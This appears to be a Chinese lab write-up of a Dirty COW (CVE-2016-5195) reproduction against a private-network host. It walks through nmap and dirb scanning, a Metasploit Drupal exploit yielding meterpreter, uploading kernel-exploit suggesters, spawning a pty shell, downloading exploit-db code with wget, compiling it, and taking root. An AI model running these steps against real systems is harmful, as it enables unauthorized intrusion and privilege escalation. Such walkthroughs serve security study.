当前位置: 首页 > news >正文

脏牛复现(CVE2016-5195)

  1. nmap扫描全网段,发现存货主机,ip为192.168.85.141

nmap 192.168.85.0/24
  1. nmap 扫描端口,发现80端口,访问该网站

nmap -p1-65535 192.168.85.141
  1. 扫描该网站目录,什么也没扫出来 ,dirb扫描目录的字典在usr/share/wordlist,ssh爆破成功的可能性不大

dirb http://192.168.85.141
  1. 访问网站1898试一下,发现网站,web常规漏洞不行(sql,弱口令),使用wapplayzer查看网站的中间信息,发现cms是drupa,或者观察网站

5.kali 搜索相关漏洞,一个一个试

msfconsole                         #打开msf
search drupal                      #搜索和drupal相关的信息

使用第一个exp

use 1
show  options          #查看要配置的参数

这个地方yes是必填项,rport需要改成1898

set rport 1898                 #设置目标端口
set rhosts 192.168.85.141      #设置目标ip
run                           #运行

成功获取meterpreter

查看权限

getuid

上传漏洞扫描文件

upload /root/les.sh  /tmp/les.sh     #上传本地root目录下的文件到对方tmp目录下
upload /root/l2.pl /tmp/l2.plww      #上传本地root目录下的文件到对方tmp目录下

linux-exploit-suggester1

linux-exploit-suggester2

这两个文件是漏洞探针文件,是检测系统有没有内核漏洞的

进入shell

shell

非交互式shell

python -c "import pty;pty.spawn('/bin/bash')"    #使用python构建交互式shell

进入tmp目录:

cd /tmp                 #进入tmp目录
ls                      #查看文件
chmod u+x ./les.sh      #为文件加执行权限
chmod u+s  ./l2.pl
./les.sh                #执行文件
./l2.pl

linux-exploit-suggester2,可以发现2版本没跑出来

linux-exploit-suggester1

利用漏洞,根据脚本给出的地址下载漏洞,下载的格式可能是c++或c,需要用gcc或g++进行编译,还以可以在本地下

下载exp时注意内核版本是否匹配,但是

wget https://www.exploit-db.com/exploits/40839   #下载对应的exp,这个exp运行不了

到网站下载https://www.exploit-db.com/,搜索相关漏洞

一个一个试,上传文件,编译是cpp文件,并运行

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40 40611.cpp -lutil
./docw

更改密码成功

切换用户到root,或使用ssh登录

su root            #输入密码
whoami
或者
ssh 192.168.85.141    #输入密码即可

ssh登录成功

漏洞exp:
https://www.exploit-db.com/
https://github.com/nomi-sec/PoC-in-GitHub/tree/master

http://www.lryc.cn/news/24415.html

相关文章:

  • Redis源码---内存友好的数据结构该如何细化设计
  • 获取 本周、本月、本年 的开始或结束时间
  • 算法训练营 day58 动态规划 判断子序列 不同的子序列
  • 优思学院|DFMEA是全球制造业的必修课!
  • 【Day02数据结构 空间复杂度】
  • 多数据库管理工具哪家强?ChatGPT点评,第一位并不是Navicat
  • UnityShader常用函数(UnityShader内置函数、CG和GLSL内置函数等)
  • Springboot自定义注解-1
  • 经纬度标定及大地坐标系相关概念(一)
  • synchronized关键字原理
  • 面试被问死怎么办?学会这四招,通过的机率提升30%
  • Android TV UI开发常用知识
  • Xshell 下载及安装
  • 【LeetCode】剑指 Offer(12)
  • vue在history模式下打包部署问题解决
  • Java中常见性能优化策略的总结
  • c++日志库log4cplus使用
  • 什么是接口测试,我们如何实现接口测试?
  • 随机森林在sklearn中的实现
  • [论文总结] 深度学习在农业领域应用论文笔记11
  • Android 9.0 SystemUI 状态栏屏蔽弹出的悬浮式通知
  • 商简智能计划与排程SPS在纺织行业中的应用
  • 549、RocketMQ详细入门教程系列 -【消息队列之 RocketMQ(三)】 2023.02.28
  • 如何使用SpringBoot ⽇志?
  • 山东大学数字图像处理实验:MATLAB的图像显示方法
  • Java缓存面试题——Redis解决方案
  • Flink:The generic type parameters of ‘Collector‘ are missing 类型擦除
  • MySQL查询操作
  • Redis-day01-note
  • 嵌入式C基础知识(19)